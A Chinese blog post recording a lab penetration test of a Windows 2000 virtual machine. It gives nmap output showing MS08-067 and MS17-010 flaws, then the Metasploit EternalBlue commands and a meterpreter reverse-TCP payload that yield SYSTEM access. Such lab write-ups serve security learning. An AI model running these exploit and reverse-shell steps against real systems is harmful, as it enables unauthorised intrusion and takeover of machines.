记录一次系统渗透测试

环境:VM虚拟机 + Kali Linux系统 + 渗透测试系统 Window2000

目标 Window 2000 :192.168.171.150 192.168.171.2

nmap一波

信息如下:

Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-10 13:37 CST
Nmap scan report for 192.168.171.150
Host is up (0.0028s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
MAC Address: 00:0C:29:6F:65:9F (VMware)

Host script results:
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 31.08 seconds

Metasploit Framework

漏洞: smb-vuln-ms17-010

搜索相关漏洞:search ms17-010

auxiliary/admin/smb/ms17_010_command

auxiliary/scanner/smb/smb_ms17_010

exploit/windows/smb/ms17_010_eternalblue

exploit/windows/smb/ms17_010_eternalblue_win8

exploit/windows/smb/ms17_010_psexec

设置常用攻击载荷

set payload windows/meterpreter/reverse_tcp

显示信息

show options

设置本机IP

set LHOST 192.168.171.149

exploit开始渗透

渗透成功

getuid确认权限

系统级权限,无需提权:Server username: NT AUTHORITY\SYSTEM

作者:男将

发表评论

电子邮件地址不会被公开。 必填项已用*标注